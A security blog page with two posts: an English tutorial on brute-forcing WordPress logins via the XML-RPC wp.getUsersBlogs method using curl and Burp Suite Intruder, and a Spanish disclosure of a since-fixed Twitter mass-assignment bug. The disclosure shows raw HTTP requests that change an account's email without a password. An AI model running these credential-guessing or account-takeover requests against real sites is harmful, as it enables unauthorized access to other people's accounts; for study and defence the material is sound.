Un blog de Seguridad Informática, desde un punto de vista tecnológico

web security

WordPress XMLRPC brute force attacks via BurpSuite

Hello to everyone, my name is Lara and this is my first post, I wish you will enjoy and it will be helpful. 🙂

Nowadays brute force attacks are very common on the internet on servers and applications. Probably if you have a server online you are able to see this kind of attacks through your server logs. The most common attack surfaces are ssh service, web server or could be via authentication form on your web page (application based attack).

WordPress is a well-known CMS (Content Management System), brute force attacks against it are very common and usually attackers use the authentication form, however, is not the only way that the malicious guys can do it.

What is XML-RPC interface?

Definition
«It’s a specification and a set of implementations that allow software running on disparate operating systems, running in different environments to make procedure calls over the Internet.
It’s remote procedure calling using HTTP as the transport and XML as the encoding. XML-RPC is designed to be as simple as possible, while allowing complex data structures to be transmitted, processed and returned.»

XML-RPC functionality is turned on by default since WordPress 3.5, but not all the WordPress administrators know this functionality and this utility, because of this, they do not protect properly the XML-RPC interface.

Ok, then, the question is, why WordPress uses this interface?

Basically, WordPress uses this interface to post directly to your blog using weblog clients or email apps and for the pingback and trackback functionality.

There are a lot of plugins in WordPress that you can use to prevent brute force attacks through the login form, but to avoid this kind of attack through XML-RPC interface is a bit more complicated. To do so, you need to modify the .htaccess file and disable the XML-RPC interface (if you don’t want to use it).

In this article, I am going to cover how to perform brute force attacks against WordPress XML-RPC interface.

Brute force attack.

There are two types of brute force attack that we can do against XML-RPC interface.

Simple brute force attack : You can try in each request one user and one password
Amplification brute force attack available till version 3.5.1 of WordPress: You can try in each request more than one user and password.

The attack (Simple brute force attack )

To check if the XML-RPC interface is enabled in the WordPress you can use the following URL:

http://url/xmlrpc.php

If you can see this in your browser means that the xmlrpc.php interface is enabled.

selection_001

 

Next step we will check if is possible interact directly with the WordPress API. To do this we have to create a file to check if the WordPress accepts POST request.

vim hello.txt

Write the following XML code to the file:

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
   <methodName>demo.sayHello</methodName>
     <params>
        <param><value></value></param>
        <param><value></value></param>
     </params>
</methodCall>

 

The xmlrpc.php file needs the valid XML sent to it as a POST request. The easiest way to do this in Linux is to use CURL. The following command will send the XML contained within the ‘demo.sayHello.txt’ file as a POST request to the remote WordPress API:
curl –data @hello.txt  http://url/xmlrpc.php

The expected server response should look like the following:


<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
  <params>
      <param>
          <value>
              <string>Hello!</string>
          </value>
      </param>
  </params>
</methodResponse>

 

So far we checked that we are able to do API calls on the WordPress. We will use another API call to achieve our objective, get a valid user and password by doing a brute force attack.

The method that we will use is wp.getUsersBlogs.

Firstly we need to create a file with the valid XML code to call the API method.

vim getusers.txt

The file should contain this code

<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
     <methodName>wp.getUsersBlogs</methodName>
        <params>
           <param><value>administrator</value></param>
           <param><value>admin</value></param>
       </params>
</methodCall>

 

Then we should call the method, to checked if the user and password are correct.

curl –data @getusers.txt http://url/xmlrpc.php

As we can see, as follow the API respond us with the result of the API call.

<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
   <fault>
      <value>
         <struct>
            <member>
                <name>faultCode</name>
                <value><int>403</int></value>
            </member>
            <member>
               <name>faultString</name>
               <value><string>Incorrect username or password.</string></value>
            </member>
         </struct>
     </value>
  </fault>
</methodResponse>

At this point, we know how to check if the credentials are valid trough XML-RPC interface, but in this way is a tedious task to do.

Our goal is to intercept the request in a web proxy, (we will use burp suite), and automate the task.

As we can see before to make the API call we use curl, if we want to automate the attack we should configure curl to send the request trough the web proxy.

curl –data @getusers.txt http://url/xmlrpc.php –proxy localhost:8080

With the previous command, we will send the request trough the web proxy, and we will be able to start our brute force attack.

selection_034

Intercept the request by burpsuite

 

At this point the next step is to send the request to the Intruder module in BurpSuite, this module will permit us to automate the attack.

We have to choose the parameters that we want to make the attack, in this case, we will put the focus, on the second parameter (the password).

003

Choose the position for the payload

 

Step forward we have to choose the payloads that we want to use, as you can see the picture we will use a password list.

After this, we only have to click the button «start attack».

menu_004

Choose payloads file

 

Finally, we only need to cross our fingers and wait a little bit to see the results.

selection_006

Get the correct credentials

If you are lucky, you will get the credentials, and after this, you can access the system. Congratulations!

Leave your comments and your questions if you have any doubt! I’m will happy to help you.


Ejemplo de ¿mass assignment? en twitter

A raíz del (ahora ya no tan) reciente incidente relacionado con un cross-site scripting en twitter dando un paseo por twitter encontramos lo que parecía ser un ejemplo «curioso» de mass-assignment en la actualización del modelo «User», sobre el que nos gustaría compartir los detalles.

Para la gente que no esté familiarizada con el entorno de Ruby On Rails, comentar que mass-assignment es una característica de Rails que permite la actualización de los atributos de un modelo de forma masiva, a partir de un Hash que contenga los atributos y valores del modelo de datos. Si imaginamos un modelo de datos «User» con dos atributos: «name» y «surname», a partir de un Hash como el siguiente:

user_attrs = Hash.new
user_attrs = {:name => "juan", :surname => "vazquez" }

Rails permite setear los atributos del modelo de forma masiva, por ejemplo:

# nuevo usuario utilizando mass-assignment
User.new(user_attrs)
# actualización de un usuario utilizando mass-assignment
user.update_attributes(user_attrs)

El problema es que setear los atributos de forma masiva puede comprometer la seguridad de la aplicación si no se toman las precauciones adecuadas. Más información sobre mass-assignment y seguridad en aplicaciones Rails se puede encontrar en:

El bug, que permitía a un usuario autenticado actualizar datos sensibles de su perfil (como su dirección de correo electrónico) sin confirmar su identidad (introduciendo nuevamente su contraseña), ha sido reportado a Twitter previamente y ha sido corregido (aunque no nos ha confirmado la naturaleza del problema). Comentamos a continuación los detalles.

El tema es que twitter permite actualizar el perfil (esto es, actualizar el modelo «User») a los usuarios al menos a través de 4 opciones (siempre hablando del acceso Web):

  • Account
  • Notices
  • Profile
  • Design

Si nos fijamos en las diferentes peticiones que se generan, nos damos cuenta de que las cuatro opciones actualizan el modelo «User» («user[propiedad]=valor»):

  • Account
  • POST /settings/accounts/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/account
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 345
    
    _method=put&authenticity_token=&user%5Bscreen_name%5D=j_u_a_n_v_p&user%5Bemail%5D=juan.vazquez.test%40gmail.com&user%5Bdiscoverable_by_email%5D=0&user%5Blang%5D=en&user%5Btime_zone%5D=Greenland&user%5Bgeo_enabled%5D=0&user%5Bshow_all_inline_media%5D=0&user%5Bprotected%5D=0&auth_password=faketest&commit=Save+changes
    
  • Notices
  • POST /settings/notifications/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/notifications
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 212
    
    authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&commit=Save
    
  • Profile
  • POST /settings/profile HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/profile
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------22901348621322226821059329840
    Content-Length: 1131
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="_method"
    
    put
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[name]"
    
    test
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[location]"
    
    barcelona
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[url]"
    
    http://
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="user[description]"
    
    -----------------------------22901348621322226821059329840
    Content-Disposition: form-data; name="commit"
    
    Save
    -----------------------------22901348621322226821059329840--
    
  • Design
  • POST /settings/design/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/design
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446
    Content-Length: 2036
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_default]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="tab"
    
    none
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="profile_theme"
    3
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_use_background_image]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_image_url]"
    
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_tile]"
    
    0
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_color]"
    
    #EDECE9
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_text_color]"
    
    #634047
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_link_color]"
    
    #088253
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_fill_color]"
    
    #E3E2DE
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_border_color]"
    
    #D3D2CF
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="commit"
    
    save changes
    -----------------------------217306245668628822413166446--
    

De la cuatro opciones anteriores «Account» es la única que solicita al usuario su contraseña para poder llevar a cabo su actualización:

Esto tiene sentido, ya que desde la opción «Account» el usuario puede actualizar información sensible, como su dirección de correo electrónico, pieza clave para llevar a cabo la recuperación de contraseña.

Sin embargo, desde las otras tres opciones («Notices», «Profile» y «Design») es posible actualizar información sensible del modelo User, como la dirección de correo electrónico, sin tener que escribir la contraseña para confirmar la identidad del usuario. A continuación, las peticiones que permitirían la actualización de correo electrónico (sin confirmar la contraseña):

  • Notices
  • POST /settings/notifications/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/notifications
    Cookie:
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 249
    
    authenticity_token=&user%5Bsend_new_friend_email%5D=1&user%5Bsend_new_friend_email%5D=0&user%5Bsend_new_direct_text_email%5D=0&user%5Bsend_email_newsletter%5D=0&user%5Bemail%5D=juan.vazquez.test@gmail.com&commit=Save
    
  • Profile
  • POST /settings/profile HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/profile
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------9717853222661105081714554876
    Content-Length: 1264
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="_method"
    
    put
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="profile_image[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[name]"
    
    test
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[location]"
    
    barcelona
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[url]"
    
    http://
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[email]"
    
    juan.vazquez.test@gmail.com
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="user[description]"
    
    -----------------------------9717853222661105081714554876
    Content-Disposition: form-data; name="commit"
    
    Save
    -----------------------------9717853222661105081714554876--
    
  • Design
  • POST /settings/design/update HTTP/1.1
    Host: twitter.com
    User-Agent:
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Referer: http://twitter.com/settings/design
    Cookie:
    Content-Type: multipart/form-data; boundary=---------------------------217306245668628822413166446
    Content-Length: 2036
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="authenticity_token"
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_default]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="tab"
    
    none
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="profile_theme"
    
    3
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[uploaded_data]"; filename=""
    Content-Type: application/octet-stream
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_use_background_image]"
    
    true
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_image_url]"
    
    
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_tile]"
    
    0
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_background_color]"
    
    #EDECE9
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_text_color]"
    
    #634047
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_link_color]"
    
    #088253
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_fill_color]"
    
    #E3E2DE
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[profile_sidebar_border_color]"
    
    #D3D2CF
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="user[email]"
    
    juan.vazquez.test@gmail.com
    -----------------------------217306245668628822413166446
    Content-Disposition: form-data; name="commit"
    
    save changes
    -----------------------------217306245668628822413166446--
    

Después de lanzar cualquiera de las peticiones anteriores se podría confirmar el cambio desde la nueva cuenta de correo electrónico (que pertenecería al secuestrador :)):

Algunos escenarios en los que se podría haber utilizado el bug para secuestrar totalmente una cuenta de twitter (mediante la funcionalidad de restauración de contraseña):

  • Sistemas de uso compartido.
  • Escenarios de sniffing de red. Sobretodo con la publicación de firesheep :).
  • Usado conjuntamente con otras vulnerabilidades, por ejemplo, de Cross Site Scripting

¿A alguien se le ocurren otros escenarios de ataque?